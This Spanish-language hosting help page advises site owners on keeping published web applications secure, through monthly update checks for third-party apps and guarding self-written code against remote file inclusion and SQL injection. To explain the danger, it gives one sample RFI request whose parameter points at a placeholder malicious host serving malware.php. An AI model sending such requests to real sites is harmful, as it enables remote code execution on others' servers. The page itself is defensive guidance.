Mantener seguras las aplicaciones web publicadas

Para no correr riesgo con problemas de seguridad sobre las páginas de su sitio es necesario mantener seguras las aplicaciones web publicadas. Es, en efecto, posible que páginas cuyo código no está escrito de modo seguro sean vulnerables a varios tipos de ataques, como XSS o SQL injection. Este tipo de vulnerabilidades son independientes de la seguridad del webserver, pues son explotados con solicitudes HTTP normales, expresamente formadas para usar el código de las páginas web de modo fraudulento.
Las operaciones a efectuar periódicamente para evitar este tipo de problema se diferencian en el caso en el cual se use una aplicación web desarrollada por terceros o bien una desarrollada por uno mismo.

APLICACIONES DESARROLLADAS POR TERCEROS

Para publicar el propio sitio es posible encontrar en internet una multitud de aplicaciones “preconfiguradas” escritas en diferentes lenguajes y con soporte para diferentes tipos de bases de datos. Los tipos de estas aplicaciones comprenden foros, e-commerce, webmail, libros de visitas y mucho más todavía. Todas estas aplicaciones pueden presentar vulnerabilidades de varios tipos que una persona con mala intención puede explotar. Para prevenir este tipo de problemas es necesario verificar periódicamente la presencia de versiones actualizadas de las aplicaciones usadas, en general las actualizaciones están disponibles directamente desde la página inicial del desarrollador.
 Desgraciadamente no siempre una aplicación actualizada a su última versión es segura, para encontrar más información sobre la vulnerabilidad advertida y sobre que versiones de la  aplicación están afectadas, están disponibles dos sitios óptimos:

http://www.securityfocus.com/vulnerabilities
http://secunia.com/search/

En el caso en el cual una de las aplicaciones que se está usando actualmente no sea segura se aconseja encarecidamente suspender el uso o bien buscar una aplicación similar que no esté afectada por tal vulnerabilidad.
El control de las actualizaciones disponibles para las aplicaciones usadas debe ser hecho periódicamente. Para ser eficaz se repite al menos una vez al mes.
En el caso en el cual se interrumpa definitivamente el soporte de la aplicación usada es aconsejable pasar cuanto antes a otra aplicación del mismo tipo que lo soporte.

APLICACIONES DESARROLLADAS POR UNO MISMO

Lo más importante para las aplicaciones desarrolladas por uno mismo es realizarlas de manera que no sean vulnerables al menos a RFI (Remote File Inclusion), técnica que permite llamar vía URL al contenido de una página diferente de la cargada y ver información sensible sobre el contenido de vuestro sitio. Generalmente este tipo de vulnerabilidad es explotada con solicitudes HTTP similares a la siguiente:
http://www.nombredominio.com/index.php?agina=http://www.sitomalevolo.com/malware.php?

Donde index.php es la propia página web que contiene la vulnerabilidad y malware.php es por el contrario una página con código malicioso publicado en un servidor externo. Mediante estas solicitudes se intenta la ejecución del código malicioso remoto en el servidor donde reside su dominio.
Es muy importante también evitar SQLInjection (inoculación de query sql no deseadas) en su base de datos mysql-mssql. Una descripción de este tipo de vulnerabilidad se puede encontrar en la página: 
http://it.wikipedia.org/wiki/SQL_injection

En la red están disponibles numerosas guías para la escritura de código seguro en los diferentes lenguajes de programación.